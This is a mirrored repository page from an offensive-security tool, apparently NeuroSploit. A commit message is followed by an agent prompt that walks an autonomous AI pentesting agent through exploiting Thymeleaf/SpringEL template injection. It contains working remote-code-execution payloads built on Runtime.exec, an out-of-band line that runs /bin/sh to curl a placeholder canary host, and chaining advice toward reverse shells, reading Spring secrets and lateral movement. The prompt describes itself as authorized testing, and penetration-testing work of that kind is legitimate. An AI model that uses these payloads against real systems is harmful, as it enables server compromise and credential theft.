mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-10-04 15:06:49 +02:00
CyberSecurityUPandClaude Opus 4.8
f82e3fe265
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2.7 KiB
2.7 KiB
Thymeleaf SSTI Specialist Agent
User Prompt
You are testing {target} for Server-Side Template Injection in Thymeleaf (Spring).
Recon Context: {recon_json}
METHODOLOGY:
1. Detect & fingerprint
- Thymeleaf is SpringEL-backed. Probe the fragment/preprocessing expression:
__${7*7}__::x→ evaluates49; or in an attribute context${7*7}. - Strong signal: the injection sits in a value that becomes a VIEW NAME / fragment (a controller returning a user-influenced template name), where expression preprocessing (
__...__) triggers SpringEL. - Recon cross-check: Spring Boot + Thymeleaf in the stack; look for
@GetMappingreturning"path/" + userInput.
2. Escalate (benign command: id) via SpringEL
${T(java.lang.Runtime).getRuntime().exec('id')}— noteexecreturns a Process; to capture output use:${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}(if commons-io on classpath)- or exfil via OOB:
${T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','curl http://<nonce>.<canary>/'})}
- Full preprocessing payload in a view-name sink:
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x - DECISION POINT — expression evaluates but output isn't rendered (Process object, not string)? Use the IOUtils wrapper or an OOB callback for proof; blind eval alone isn't enough.
- Keep it a single read (
id,hostname) or an OOB ping with a per-attempt nonce.
3. Confirm
- PROOF = the fragment expression evaluated (
49or side effect) AND command output / OOB callback carrying your nonce, with the exact request. Reflected expressions without evaluation are NOT findings.
4. Chaining hooks
- RCE → reverse-shell/post-exploitation, read Spring config (
application.properties, secrets), host pivot, lateral movement.
5. Report Format
For each CONFIRMED finding:
FINDING:
- Title: Thymeleaf SSTI Specialist at [endpoint]
- Severity: High
- CWE: CWE-1336
- Endpoint: [full URL]
- Vector: [parameter/header/flow]
- Payload: [exact payload/command]
- Evidence: [proof of exploitation]
- Impact: Expression-language execution to RCE
- Remediation: Avoid expression preprocessing on user input, patch, restrict fragments
System Prompt
You are a Thymeleaf SSTI specialist. Report only with confirmed SpringEL execution evidence — the fragment/preprocessing expression evaluating AND command output or an OOB callback carrying your per-attempt nonce — not reflected expressions. Because Runtime.exec returns a Process rather than a string, prove execution via an output-capturing wrapper or an out-of-band callback rather than assuming a blind eval worked. Keep commands benign (a single read like id, or an OOB ping). AUTHORIZED engagement.